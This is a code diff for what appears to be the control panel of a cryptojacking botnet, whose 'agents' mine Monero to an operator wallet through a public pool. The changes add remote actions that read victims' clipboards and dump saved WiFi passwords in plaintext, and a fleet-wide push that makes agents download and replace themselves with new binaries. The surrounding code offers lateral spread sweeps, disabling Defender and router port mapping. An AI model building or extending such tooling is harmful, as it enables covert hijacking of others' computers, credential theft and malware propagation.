_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN bundle_size INTEGER NOT NULL DEFAULT 0`)
|
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN bundle_size INTEGER NOT NULL DEFAULT 0`)
|
||||||
|
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_name TEXT NOT NULL DEFAULT ''`)
|
||||||
|
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN download_url TEXT NOT NULL DEFAULT ''`)
|
||||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
|
||||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
|
||||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
|
||||||
@@ -249,23 +251,23 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
|
|||||||
|
|
||||||
// Build operations
|
// Build operations
|
||||||
|
|
||||||
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, platform, created_at, pool_host, pool_port, pool_tls, pool_pass`
|
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass`
|
||||||
|
|
||||||
func scanBuild(row interface {
|
func scanBuild(row interface {
|
||||||
Scan(...any) error
|
Scan(...any) error
|
||||||
}) (*models.BuildRecord, error) {
|
}) (*models.BuildRecord, error) {
|
||||||
b := &models.BuildRecord{}
|
b := &models.BuildRecord{}
|
||||||
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
|
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
|
||||||
&b.FilePath, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
|
&b.FilePath, &b.FileName, &b.DownloadURL, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
|
||||||
return b, err
|
return b, err
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Database) InsertBuild(b *models.BuildRecord) error {
|
func (d *Database) InsertBuild(b *models.BuildRecord) error {
|
||||||
_, err := d.Exec(`INSERT INTO builds
|
_, err := d.Exec(`INSERT INTO builds
|
||||||
(id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, platform, created_at, pool_host, pool_port, pool_tls, pool_pass)
|
(id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass)
|
||||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||||
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.BundleSize,
|
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.BundleSize,
|
||||||
b.FilePath, b.Platform, b.CreatedAt,
|
b.FilePath, b.FileName, b.DownloadURL, b.Platform, b.CreatedAt,
|
||||||
b.PoolHost, b.PoolPort, b.PoolTLS, b.PoolPass)
|
b.PoolHost, b.PoolPort, b.PoolTLS, b.PoolPass)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -75,16 +75,18 @@ type Job struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
type BuildRecord struct {
|
type BuildRecord struct {
|
||||||
ID string `json:"id"`
|
ID string `json:"id"`
|
||||||
WorkerName string `json:"worker_name"`
|
WorkerName string `json:"worker_name"`
|
||||||
ServerURL string `json:"server_url"`
|
ServerURL string `json:"server_url"`
|
||||||
Wallet string `json:"wallet"`
|
Wallet string `json:"wallet"`
|
||||||
Threads int `json:"threads"`
|
Threads int `json:"threads"`
|
||||||
FileSize int64 `json:"file_size"`
|
FileSize int64 `json:"file_size"`
|
||||||
BundleSize int64 `json:"bundle_size"`
|
BundleSize int64 `json:"bundle_size"`
|
||||||
FilePath string `json:"file_path"`
|
FilePath string `json:"file_path"`
|
||||||
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
|
FileName string `json:"file_name"` // base filename for display
|
||||||
CreatedAt time.Time `json:"created_at"`
|
DownloadURL string `json:"download_url"` // relative URL; client prepends server origin
|
||||||
|
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
|
||||||
|
CreatedAt time.Time `json:"created_at"`
|
||||||
// Pool settings
|
// Pool settings
|
||||||
PoolHost string `json:"pool_host"`
|
PoolHost string `json:"pool_host"`
|
||||||
PoolPort int `json:"pool_port"`
|
PoolPort int `json:"pool_port"`
|
||||||
|
|||||||
@@ -387,6 +387,7 @@ func findWebRoot() string {
|
|||||||
if exe, err := os.Executable(); err == nil {
|
if exe, err := os.Executable(); err == nil {
|
||||||
exeDir := filepath.Dir(exe)
|
exeDir := filepath.Dir(exe)
|
||||||
candidates = append(candidates,
|
candidates = append(candidates,
|
||||||
|
filepath.Join(exeDir, "webroot"), // portable USB layout
|
||||||
filepath.Join(exeDir, "..", "webroot"),
|
filepath.Join(exeDir, "..", "webroot"),
|
||||||
filepath.Join(exeDir, "..", "web", "dist"),
|
filepath.Join(exeDir, "..", "web", "dist"),
|
||||||
filepath.Join(exeDir, "..", "..", "server", "webroot"),
|
filepath.Join(exeDir, "..", "..", "server", "webroot"),
|
||||||
|
|||||||
@@ -179,3 +179,37 @@
|
|||||||
.terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; }
|
.terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; }
|
||||||
.terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; }
|
.terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; }
|
||||||
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }
|
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }
|
||||||
|
|
||||||
|
/* Upgrade section */
|
||||||
|
.upgrade-group { grid-column: 1 / -1; }
|
||||||
|
|
||||||
|
.upgrade-row {
|
||||||
|
display: flex;
|
||||||
|
gap: 0.75rem;
|
||||||
|
align-items: center;
|
||||||
|
margin-top: 0.5rem;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
.upgrade-select {
|
||||||
|
flex: 1;
|
||||||
|
min-width: 200px;
|
||||||
|
background: rgba(0, 0, 0, 0.6);
|
||||||
|
border: 1px solid rgba(0, 229, 255, 0.3);
|
||||||
|
border-radius: 4px;
|
||||||
|
color: #e0e0e0;
|
||||||
|
padding: 6px 10px;
|
||||||
|
font-size: 0.82rem;
|
||||||
|
font-family: 'Consolas', monospace;
|
||||||
|
outline: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.upgrade-select:focus { border-color: var(--neon-cyan, #00e5ff); }
|
||||||
|
|
||||||
|
.upgrade-btn {
|
||||||
|
white-space: nowrap;
|
||||||
|
padding: 6px 18px;
|
||||||
|
font-size: 0.82rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-line { line-height: 1.45; word-break: break-all; }
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
import React, { useState, useRef, useEffect, useCallback } from 'react';
|
import React, { useState, useRef, useEffect, useCallback } from 'react';
|
||||||
import { api } from '../../api/client';
|
import { api } from '../../api/client';
|
||||||
import type { Agent } from '../../types';
|
import type { Agent, Build } from '../../types';
|
||||||
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
||||||
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
|
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
|
||||||
import './AgentRemoteActions.css';
|
import './AgentRemoteActions.css';
|
||||||
@@ -42,6 +42,12 @@ export default function AgentRemoteActions({
|
|||||||
const [terminalLog, setTerminalLog] = useState<string[]>([]);
|
const [terminalLog, setTerminalLog] = useState<string[]>([]);
|
||||||
const [screenshotData, setScreenshotData] = useState<string | null>(null);
|
const [screenshotData, setScreenshotData] = useState<string | null>(null);
|
||||||
const [busy, setBusy] = useState<string | null>(null);
|
const [busy, setBusy] = useState<string | null>(null);
|
||||||
|
// Fleet upgrade
|
||||||
|
const [builds, setBuilds] = useState<Build[]>([]);
|
||||||
|
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
|
||||||
|
useEffect(() => {
|
||||||
|
api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
|
||||||
|
}, []);
|
||||||
const logEndRef = useRef<HTMLDivElement>(null);
|
const logEndRef = useRef<HTMLDivElement>(null);
|
||||||
// Track the highest _seq we've already processed.
|
// Track the highest _seq we've already processed.
|
||||||
// Using _seq (monotonic ID) instead of array index prevents the ring-buffer drop bug
|
// Using _seq (monotonic ID) instead of array index prevents the ring-buffer drop bug
|
||||||
@@ -102,6 +108,7 @@ export default function AgentRemoteActions({
|
|||||||
}
|
}
|
||||||
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
|
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
|
||||||
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
|
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
|
||||||
|
if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
|
||||||
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
|
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
|
||||||
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
|
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
|
||||||
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
|
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
|
||||||
@@ -195,6 +202,9 @@ export default function AgentRemoteActions({
|
|||||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
|
||||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
|
||||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
|
||||||
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ipconfig')} title="Detailed network adapters, IPs, gateways">IP Config</button>
|
||||||
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('clipboard')} title="Read current clipboard contents">Clipboard</button>
|
||||||
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('wifi')} title="Saved WiFi SSIDs + plaintext passwords">WiFi Creds</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -215,6 +225,39 @@ export default function AgentRemoteActions({
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<div className="action-group upgrade-group">
|
||||||
|
<h3>Fleet Upgrade</h3>
|
||||||
|
<p className="action-group-hint">
|
||||||
|
Push a newly forged binary to {isFleet ? 'all online agents' : 'this agent'}. The agent downloads, replaces itself, and restarts — no manual access needed.
|
||||||
|
</p>
|
||||||
|
<div className="upgrade-row">
|
||||||
|
<select
|
||||||
|
className="upgrade-select"
|
||||||
|
value={selectedBuildId}
|
||||||
|
onChange={(e) => setSelectedBuildId(e.target.value)}
|
||||||
|
>
|
||||||
|
<option value="">— pick a build —</option>
|
||||||
|
{builds.filter((b) => b.download_url).map((b) => (
|
||||||
|
<option key={b.id} value={b.id}>
|
||||||
|
{b.file_name ?? b.id} ({b.platform ?? 'win'})
|
||||||
|
</option>
|
||||||
|
))}
|
||||||
|
</select>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn-cyan upgrade-btn"
|
||||||
|
disabled={!isOnline || !!busy || !selectedBuildId}
|
||||||
|
onClick={() => {
|
||||||
|
const build = builds.find((b) => b.id === selectedBuildId);
|
||||||
|
if (!build?.download_url) return;
|
||||||
|
dispatch('upgrade', { data: build.download_url });
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
{busy === 'upgrade' ? 'Pushing…' : 'Push Upgrade'}
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
<div className="action-group aggressive-group">
|
<div className="action-group aggressive-group">
|
||||||
<h3>NAT & Aggressive Ops</h3>
|
<h3>NAT & Aggressive Ops</h3>
|
||||||
<p className="action-group-hint">Point-and-shoot — requires Advanced forge toggles on the agent.</p>
|
<p className="action-group-hint">Point-and-shoot — requires Advanced forge toggles on the agent.</p>
|
||||||
|
|||||||
@@ -121,6 +121,23 @@
|
|||||||
grid-column: span 2;
|
grid-column: span 2;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.earnings-real-grid {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 4px;
|
||||||
|
margin-top: 6px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.er-row {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
font-size: 0.78rem;
|
||||||
|
gap: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.er-lbl { opacity: 0.55; }
|
||||||
|
.er-val { font-family: 'Consolas', monospace; color: var(--neon-amber, #f5a623); }
|
||||||
|
|
||||||
|
|
||||||
.agent-action-btn {
|
.agent-action-btn {
|
||||||
padding: 0.4rem 0.75rem;
|
padding: 0.4rem 0.75rem;
|
||||||
|
|||||||
@@ -83,34 +83,67 @@ export function AIActivityPanel({ entries, agentNames }: { entries: AIActivityEn
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
interface EarningsData {
|
||||||
|
xmr_per_day?: number;
|
||||||
|
note?: string;
|
||||||
|
source?: string; // "pool_api" | "estimate"
|
||||||
|
pending_xmr?: number; // from pool API
|
||||||
|
paid_xmr?: number;
|
||||||
|
pool_hashrate?: number;
|
||||||
|
last_payment_xmr?: number;
|
||||||
|
last_payment_time?: string;
|
||||||
|
}
|
||||||
|
|
||||||
export function EarningsEstimator({ hashrate }: { hashrate: number }) {
|
export function EarningsEstimator({ hashrate }: { hashrate: number }) {
|
||||||
const [xmrPerDay, setXmrPerDay] = useState<number | null>(null);
|
const [data, setData] = useState<EarningsData | null>(null);
|
||||||
const [note, setNote] = useState('');
|
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (hashrate <= 0) {
|
if (hashrate <= 0) {
|
||||||
setXmrPerDay(null);
|
setData(null);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
// AbortController ensures a stale in-flight response never overwrites a
|
|
||||||
// newer estimate when hashrate changes rapidly (fixes M16).
|
|
||||||
const controller = new AbortController();
|
const controller = new AbortController();
|
||||||
api.getEarningsEstimate(hashrate).then((r) => {
|
api.getEarningsEstimate(hashrate).then((r: EarningsData) => {
|
||||||
if (!controller.signal.aborted) {
|
if (!controller.signal.aborted) setData(r);
|
||||||
setXmrPerDay(r.xmr_per_day);
|
}).catch((err: unknown) => { if (!controller.signal.aborted) console.error(err); });
|
||||||
setNote(r.note);
|
|
||||||
}
|
|
||||||
}).catch((err) => { if (!controller.signal.aborted) console.error(err); });
|
|
||||||
return () => controller.abort();
|
return () => controller.abort();
|
||||||
}, [hashrate]);
|
}, [hashrate]);
|
||||||
|
|
||||||
if (xmrPerDay == null || hashrate <= 0) return null;
|
if (!data || hashrate <= 0) return null;
|
||||||
|
|
||||||
|
const isReal = data.source === 'pool_api';
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<NeonCard accent="amber" className="stat-card-wrap earnings-estimator">
|
<NeonCard accent="amber" className="stat-card-wrap earnings-estimator">
|
||||||
<div className="stat-label font-tech">Earnings Estimate</div>
|
<div className="stat-label font-tech">
|
||||||
<div className="stat-value neon-glow-amber">~{xmrPerDay.toFixed(6)} XMR/day</div>
|
{isReal ? '⛏ Pool Earnings (Live)' : 'Earnings Estimate'}
|
||||||
<div className="stat-sub">{note}</div>
|
</div>
|
||||||
|
{data.xmr_per_day != null && (
|
||||||
|
<div className="stat-value neon-glow-amber">
|
||||||
|
{isReal ? '' : '~'}{data.xmr_per_day.toFixed(6)} XMR/day
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
{isReal ? (
|
||||||
|
<div className="earnings-real-grid">
|
||||||
|
{data.pending_xmr != null && (
|
||||||
|
<span className="er-row"><span className="er-lbl">Pending</span><span className="er-val">{data.pending_xmr.toFixed(8)} XMR</span></span>
|
||||||
|
)}
|
||||||
|
{data.paid_xmr != null && (
|
||||||
|
<span className="er-row"><span className="er-lbl">Total Paid</span><span className="er-val">{data.paid_xmr.toFixed(4)} XMR</span></span>
|
||||||
|
)}
|
||||||
|
{data.last_payment_xmr != null && data.last_payment_xmr > 0 && (
|
||||||
|
<span className="er-row"><span className="er-lbl">Last Payout</span><span className="er-val">{data.last_payment_xmr.toFixed(6)} XMR</span></span>
|
||||||
|
)}
|
||||||
|
{data.last_payment_time && (
|
||||||
|
<span className="er-row"><span className="er-lbl">Paid At</span><span className="er-val">{new Date(data.last_payment_time).toLocaleDateString()}</span></span>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<div className="stat-sub">{data.note}</div>
|
||||||
|
)}
|
||||||
|
<div className="stat-sub" style={{ marginTop: 4, opacity: 0.5, fontSize: '0.7rem' }}>
|
||||||
|
{isReal ? 'SupportXMR live data · refreshes every 5 min' : 'Formula estimate · connect wallet for live data'}
|
||||||
|
</div>
|
||||||
</NeonCard>
|
</NeonCard>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -88,7 +88,8 @@
|
|||||||
}
|
}
|
||||||
|
|
||||||
.sidebar-nav {
|
.sidebar-nav {
|
||||||
flex: 1;
|
/* No flex-grow: let the matrix rain claim the remaining space */
|
||||||
|
flex: 0 0 auto;
|
||||||
padding: 1rem 0.75rem;
|
padding: 1rem 0.75rem;
|
||||||
display: flex;
|
display: flex;
|
||||||
flex-direction: column;
|
flex-direction: column;
|
||||||
@@ -150,44 +151,229 @@
|
|||||||
border-radius: 0 2px 2px 0;
|
border-radius: 0 2px 2px 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* ── Matrix rain ──────────────────────────────── */
|
||||||
|
.matrix-rain-wrap {
|
||||||
|
/* Flex-grow to fill all space between nav and footer */
|
||||||
|
flex: 1;
|
||||||
|
position: relative;
|
||||||
|
overflow: hidden;
|
||||||
|
border-top: 1px solid rgba(0, 255, 65, 0.12);
|
||||||
|
border-bottom: 1px solid rgba(0, 255, 65, 0.08);
|
||||||
|
min-height: 160px;
|
||||||
|
max-height: 320px;
|
||||||
|
background: #000;
|
||||||
|
}
|
||||||
|
|
||||||
|
.matrix-rain-canvas {
|
||||||
|
display: block;
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* CRT scanline overlay */
|
||||||
|
.matrix-rain-scanlines {
|
||||||
|
position: absolute;
|
||||||
|
inset: 0;
|
||||||
|
pointer-events: none;
|
||||||
|
background: repeating-linear-gradient(
|
||||||
|
0deg,
|
||||||
|
transparent,
|
||||||
|
transparent 1px,
|
||||||
|
rgba(0, 0, 0, 0.18) 1px,
|
||||||
|
rgba(0, 0, 0, 0.18) 2px
|
||||||
|
);
|
||||||
|
z-index: 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Top fade — blends into nav area */
|
||||||
|
.matrix-rain-vignette-top {
|
||||||
|
position: absolute;
|
||||||
|
top: 0;
|
||||||
|
left: 0;
|
||||||
|
right: 0;
|
||||||
|
height: 40px;
|
||||||
|
background: linear-gradient(to bottom, #000 0%, transparent 100%);
|
||||||
|
pointer-events: none;
|
||||||
|
z-index: 3;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Bottom fade — blends into footer */
|
||||||
|
.matrix-rain-vignette-btm {
|
||||||
|
position: absolute;
|
||||||
|
bottom: 0;
|
||||||
|
left: 0;
|
||||||
|
right: 0;
|
||||||
|
height: 32px;
|
||||||
|
background: linear-gradient(to top, #000 0%, transparent 100%);
|
||||||
|
pointer-events: none;
|
||||||
|
z-index: 3;
|
||||||
|
}
|
||||||
|
|
||||||
.sidebar-footer {
|
.sidebar-footer {
|
||||||
padding: 1.25rem;
|
padding: 1rem 1.25rem 1.1rem;
|
||||||
border-top: 1px solid var(--border-brass);
|
border-top: 1px solid var(--border-brass);
|
||||||
}
|
}
|
||||||
|
|
||||||
.power-meter {
|
/* ── Fleet readout widget ─────────────────────── */
|
||||||
margin-bottom: 0.75rem;
|
.fleet-readout {
|
||||||
|
margin-bottom: 0.85rem;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 0.4rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
.power-label {
|
.readout-row {
|
||||||
font-size: 0.6rem;
|
display: flex;
|
||||||
letter-spacing: 0.2em;
|
align-items: center;
|
||||||
|
gap: 0.4rem;
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.68rem;
|
||||||
|
letter-spacing: 0.06em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.readout-dot {
|
||||||
|
width: 7px;
|
||||||
|
height: 7px;
|
||||||
|
border-radius: 50%;
|
||||||
|
flex-shrink: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.readout-dot-online {
|
||||||
|
background: var(--neon-green);
|
||||||
|
box-shadow: 0 0 6px var(--neon-green);
|
||||||
|
animation: readout-pulse 2s ease-in-out infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
.readout-dot-idle {
|
||||||
|
background: rgba(255, 255, 255, 0.18);
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes readout-pulse {
|
||||||
|
0%, 100% { opacity: 1; box-shadow: 0 0 6px var(--neon-green); }
|
||||||
|
50% { opacity: 0.7; box-shadow: 0 0 12px var(--neon-green); }
|
||||||
|
}
|
||||||
|
|
||||||
|
.readout-glyph {
|
||||||
|
width: 7px;
|
||||||
|
text-align: center;
|
||||||
|
color: var(--neon-cyan);
|
||||||
|
font-size: 0.75rem;
|
||||||
|
flex-shrink: 0;
|
||||||
|
line-height: 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
.readout-label {
|
||||||
|
flex: 1;
|
||||||
color: var(--text-muted);
|
color: var(--text-muted);
|
||||||
display: block;
|
font-size: 0.6rem;
|
||||||
margin-bottom: 0.35rem;
|
letter-spacing: 0.12em;
|
||||||
}
|
}
|
||||||
|
|
||||||
.power-bar {
|
.readout-value {
|
||||||
height: 4px;
|
color: var(--neon-cyan);
|
||||||
background: rgba(201, 162, 39, 0.15);
|
font-size: 0.72rem;
|
||||||
|
font-weight: 600;
|
||||||
|
letter-spacing: 0.04em;
|
||||||
|
text-align: right;
|
||||||
|
transition: color 0.2s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.readout-value-machines {
|
||||||
|
color: var(--neon-green);
|
||||||
|
}
|
||||||
|
|
||||||
|
.readout-dim {
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-weight: 400;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes readout-tick {
|
||||||
|
0% { opacity: 0.4; color: #fff; }
|
||||||
|
50% { opacity: 1; color: var(--neon-amber); }
|
||||||
|
100% { opacity: 1; color: var(--neon-cyan); }
|
||||||
|
}
|
||||||
|
|
||||||
|
.readout-flash {
|
||||||
|
animation: readout-tick 0.6s ease-out forwards;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Readout progress bar */
|
||||||
|
.readout-bar-wrap {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.5rem;
|
||||||
|
margin-top: 0.1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.readout-bar-track {
|
||||||
|
flex: 1;
|
||||||
|
height: 3px;
|
||||||
|
background: rgba(201, 162, 39, 0.12);
|
||||||
border-radius: 2px;
|
border-radius: 2px;
|
||||||
overflow: hidden;
|
overflow: hidden;
|
||||||
}
|
}
|
||||||
|
|
||||||
.power-fill {
|
.readout-bar-fill {
|
||||||
height: 100%;
|
height: 100%;
|
||||||
width: 78%;
|
width: 0%;
|
||||||
background: linear-gradient(90deg, var(--brass-dark), var(--neon-cyan));
|
background: rgba(255, 255, 255, 0.15);
|
||||||
box-shadow: 0 0 8px rgba(0, 245, 255, 0.4);
|
border-radius: 2px;
|
||||||
animation: shimmer 3s ease-in-out infinite;
|
transition: width 0.8s cubic-bezier(0.4, 0, 0.2, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
.readout-bar-fill.readout-bar-active {
|
||||||
|
background: linear-gradient(90deg, var(--neon-green), var(--neon-cyan));
|
||||||
|
box-shadow: 0 0 6px rgba(0, 245, 255, 0.35);
|
||||||
|
animation: bar-shimmer 2.5s ease-in-out infinite;
|
||||||
background-size: 200% 100%;
|
background-size: 200% 100%;
|
||||||
}
|
}
|
||||||
|
|
||||||
.version-badge {
|
@keyframes bar-shimmer {
|
||||||
font-size: 0.65rem;
|
0% { background-position: 0% 50%; }
|
||||||
|
50% { background-position: 100% 50%; }
|
||||||
|
100% { background-position: 0% 50%; }
|
||||||
|
}
|
||||||
|
|
||||||
|
.readout-bar-pct {
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.55rem;
|
||||||
color: var(--text-muted);
|
color: var(--text-muted);
|
||||||
text-align: center;
|
letter-spacing: 0.06em;
|
||||||
letter-spacing: 0.15em;
|
min-width: 2.2rem;
|
||||||
|
text-align: right;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Signature ────────────────────────────────── */
|
||||||
|
.sidebar-sig {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.15rem;
|
||||||
|
padding-top: 0.65rem;
|
||||||
|
border-top: 1px solid rgba(201, 162, 39, 0.1);
|
||||||
|
}
|
||||||
|
|
||||||
|
.sig-love {
|
||||||
|
font-size: 0.58rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
letter-spacing: 0.08em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.sig-heart {
|
||||||
|
color: #f87171;
|
||||||
|
animation: heart-beat 1.8s ease-in-out infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes heart-beat {
|
||||||
|
0%, 100% { transform: scale(1); }
|
||||||
|
20% { transform: scale(1.3); }
|
||||||
|
40% { transform: scale(0.95); }
|
||||||
|
}
|
||||||
|
|
||||||
|
.sig-ver {
|
||||||
|
font-size: 0.55rem;
|
||||||
|
color: rgba(0, 245, 255, 0.35);
|
||||||
|
letter-spacing: 0.18em;
|
||||||
}
|
}
|
||||||
|
|
||||||
.main-with-status {
|
.main-with-status {
|
||||||
@@ -219,8 +405,9 @@
|
|||||||
|
|
||||||
.logo-text-block,
|
.logo-text-block,
|
||||||
.nav-label,
|
.nav-label,
|
||||||
.power-meter,
|
.fleet-readout,
|
||||||
.version-badge {
|
.sidebar-sig,
|
||||||
|
.matrix-rain-wrap {
|
||||||
display: none;
|
display: none;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,9 @@
|
|||||||
import { ReactNode } from 'react';
|
import { ReactNode, useEffect, useRef, useState } from 'react';
|
||||||
import { NavLink, useLocation } from 'react-router-dom';
|
import { NavLink, useLocation } from 'react-router-dom';
|
||||||
import AmbientBackground from '../Ambient/AmbientBackground';
|
import AmbientBackground from '../Ambient/AmbientBackground';
|
||||||
import SystemStatusBar from '../Visual/SystemStatusBar';
|
import SystemStatusBar from '../Visual/SystemStatusBar';
|
||||||
|
import { useWebSocket } from '../../hooks/useWebSocket';
|
||||||
|
import MatrixRain from './MatrixRain';
|
||||||
import './Layout.css';
|
import './Layout.css';
|
||||||
|
|
||||||
interface LayoutProps {
|
interface LayoutProps {
|
||||||
@@ -57,6 +59,60 @@ function NavIcon({ type }: { type: string }) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function formatHashrate(hs: number): string {
|
||||||
|
if (hs >= 1_000_000) return `${(hs / 1_000_000).toFixed(2)} MH/s`;
|
||||||
|
if (hs >= 1_000) return `${(hs / 1_000).toFixed(1)} KH/s`;
|
||||||
|
return `${hs.toFixed(0)} H/s`;
|
||||||
|
}
|
||||||
|
|
